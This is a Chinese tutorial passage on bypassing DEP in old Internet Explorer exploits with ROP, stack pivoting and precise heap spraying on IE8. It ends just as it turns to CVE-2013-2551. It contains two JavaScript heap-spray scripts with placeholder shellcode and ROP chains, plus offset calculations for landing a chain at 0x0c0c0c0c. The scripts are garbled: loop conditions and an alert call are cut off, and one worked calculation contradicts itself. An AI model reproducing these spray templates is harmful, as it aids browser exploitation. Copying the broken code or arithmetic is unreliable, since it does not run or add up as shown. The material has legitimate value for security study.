前言
在上一篇文章中,我们讲了一些早期的 ie相关的漏洞的利用,从最基础,最简单的栈溢出漏洞的利用说起,到相对而言更加复杂的UAF 漏洞利用。透过这些漏洞利用的演变,我们仿佛可以看到人类社会由原始野蛮的社会向一个文明的社会的演变的一个缩影。针对IE的漏洞利用,最开始是使用栈溢出漏洞,栈溢出漏洞的利用非常的简单粗暴,我们可以直接通过过长的字符串覆盖掉函数的返回地址或者seh链的结构来直接的劫持掉程序的eip,控制程序的执行流程。在实际利用时,为了稳定性和简便性,一般先使用堆喷射技术将我们的 payload (nops + shellcode)布置到一个可以预测的地址,这个地址一般是0x0c0c0c0c,之后将通过溢出把 eip的值控制为 0x0c0c0c0c 实现,之后程序会跳入到nops 块中,最终执行到shellcode区,完成漏洞利用。
可以看到这整个过程非常的简单粗暴,用仙果的话来说就是这样的漏洞利用”不优雅",后来UAF漏洞出现了,漏洞利用技术也变得优雅了起来,针对 UAF漏洞的利用,hacker们的手法也比之前的栈溢出漏洞的利用手法,精细了不少,利用的套路是:等存在漏洞的对象被释放后,申请一些大小与被释放对象所占内存大小相同的对象,实现"占坑",之后在修改那块内存的数据(一般是开始4字节,虚表),最后调用虚函数,触发漏洞,劫持eip。
可以很明显的感受到整个漏洞利用的流程比之前要优雅了不少,hacker们需要小心的操纵内存的分配,以实现对那块释放的内存的重利用。当然这整个过程还是有"不优雅"的地方,在漏洞利用的最后阶段,我们利用的还是最开始的那一种布置shellcode的方法,就直接大量地喷射内存,不管三七二十一把eip设为0x0c0c0c0c 实现漏洞的利用。这种方式在没有DEP 的情况下还是可取的。但是 DEP 爸爸一来,什么都变了。
那么DEP到底啥呢?DEP(数据执行保护,Data Execution Prevention)的基本原理是将数据所在的内存页标识为不可执行,当程序溢出成功转入ShellCode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。而我们之前的漏洞利用的最后一步都是直接跳到数据区去执行代码的,这样在DEP作用下我们先前所有的漏洞利用都会被操作系统终结到最后一步,是不是很气?我觉得当时的hacker们一定是非常无奈的(我都搞定eip了,你却不让我执行我的代码,你逗我玩呢?
但 hacker的信条里没有"放弃"这个词,有的只是"突破一切"!一段时间的困惑之后,有些聪明hacker发现,你不是不让我执行我的数据吗?那好我就不执行我的数据,我执行你程序自身的数据总可以了吧。应为程序自身肯定是需要执行代码的,于是我们可以通过重用程序的代码把他们拼接起来最终实现我们需要的功能。这种技术被称为ROP(Return Oriented Programming,返回导向编程)。关于ROP技术详细介绍,利用的方式网上已有大量的文章进行了说明,请不熟悉的读者自行百度,在这里就不赘述了。
IE浏览器漏洞利用技术的演变
对于DEP,现在我们就有了ROP这一技术来对其进行绕过。引入了ROP技术的同时,也引入新的问题,大多数情况下我们不会用rop链来实现我们shellcode所需的功能,更通用的方式是通过调用一些系统提供的可以设置内存属性的函数来将shellcode所在内存区域设置为可执行属性,这样一来我们就能执行我们的输入数据了。我们知道用于rop的一些代码段(我们称之为gadgets) 是一些以 ret指令结尾的代码片段。而 ret 指令是对栈上的数据进行操作的,而现实是我们现在获得的ie漏洞基本没有可以控制栈数据的了。我们能控制的只有堆上面的数据(通过使用"堆喷射"技术),这时我们要用到一个有趣的指令:xchg reg ,esp 这样的一条指令作用是交换reg寄存器与esp寄存器的值。而在一些堆相关的漏洞中我们往往能控制至少一个寄存器的值,设想一下我们将某个寄存器的值设为0x0c0c0c0c (没错又是这个有趣的地址),再使用一条xchg指令将esp的值和该寄存器的值互换,这样一来程序的栈就变成了我们可控的地方了,漏洞利用是不是又变得优雅了一些。
现在还剩下最后一个问题:在我们成功执行rop链设置shellcode所在内存为可执行属性之前,我们没有办法执行堆上的数据的,所以在我们使用类似于xchg reg ,esp 的指令切换好栈后,我们ret的地址必须是在rop链的第一个地址。要解决这个问题就要用到"精准的堆喷射"技术。我们知道动态申请的内存的地址是不断变化的,所以位于 0x0c0c0c0c地址处的数据也应该是会变化的,所谓的"精准的堆喷射"就是使用一些特殊的堆布局使得位于0x0c0c0c0c处的数据为一个恒定的值,这样一来,在ie 中使用rop的又一道难关被突破。下面来实战下"精准的堆喷射"吧!
先来一个可以在ie8上进行堆喷射的脚本:
// [ Shellcode ]var shellcode = "\xcc\xcc"
var fill = unescape("%u0c0c%u0c0c");
while (fill.length
fill += fill;
}
// [ fill each chunk with 0x1000 bytes ]evilcode = shellcode + fill.substring(0, 0x800 - shellcode.length);
// [ repeat the block to 512KB ]while (evilcode.length
evilcode += evilcode;
}
// [ substring(2, 0x40000 - 0x21) - IE8 ]var block = evilcode.substring(2, 0x40000 - 0x21);
// [ Allocate 200 MB ]var slide = new Array();
for (var i = 0; i
slide[i] = block.substring(0, block.length);}
(1);
弹出弹框(为了便于调试,相当于下个断点)时用调试器附加上,看看内存的布局.
可以看到我们已经能够将数据喷射到 0x0c0c0c0c 这个地址处了。下一步我们该做的就是控制 0x0c0c0c0c 这个地址处的值。基于前辈们的努力,我们可以使用以下方法控制该处的值。具体的做法如下:
1.当完成堆的喷射之后,查看0x0c0c0c0c所在的堆块的属性。做法是:在完成堆喷射后,使用windbg附加上ie,输入:"!heap -p -a 0c0c0c0c"命令。
2.来一波数学计算吧
以看出,0x0C0C0C0C所在堆块的UserPtr为0x0c050020,可以计算:
0x0C0C0C0C - 0x0c050020 = 0x70BEC
0x50BEC / 2 = 0x385F6
0x285F6 % 0x1000 = 0x5F6
其中第一个表达式求出0x0C0C0C0C到UserPtr的距离,因为javascript中字符串是Unicode形式的,所以在第二个表达式中我们进行了除以2的操作,又因为堆块的对齐粒度是0×1000,所以将结果对0×1000进行取余。注意每一次查看0x0C0C0C0C所在堆块的UserPtr会不尽相同,但是在特定的环境下计算出来的最终结果基本是一致的,于是堆中每一块0×1000大小的数据看起来如图所示:
我们通过把每个0×1000大小的数据块,以上图所示的样子布局就能控制好 0x0c0c0c0c 处的值.
修改后堆喷射脚本为:
// [ Shellcode ]var shellcode = unescape("%u4242%u4242");
var rop_chains = unescape("%u4141%u4141");
var fill = unescape("%u0c0c%u0c0c");
while (fill.length
fill += fill;
}
// [ padding offset ]padding = fill.substring(0, 0x5F6);
// [ fill each chunk with 0x1000 bytes ]evilcode = padding + rop_chains + shellcode + fill.substring(0, 0x800 - padding.length - rop_chains.length - shellcode.length);
// [ repeat the block to 512KB ]while (evilcode.length
evilcode += evilcode;
}
// [ substring(2, 0x40000 - 0x21) - IE8 ]var block = evilcode.substring(2, 0x40000 - 0x21);
// [ Allocate 200 MB ]var slide = new Array();
for (var i = 0; i
slide[i] = block.substring(0, block.length);}
(1);
效果就是:
可以看到现在的0x0c0c0c0c处的值恰好为rop链的开头。又一个难关被攻克。
下面进入今天的这个漏洞,今天要完成漏洞利用的漏洞是: CVE-2013-2551 IE COALineDashStyleArray 整数溢出漏洞。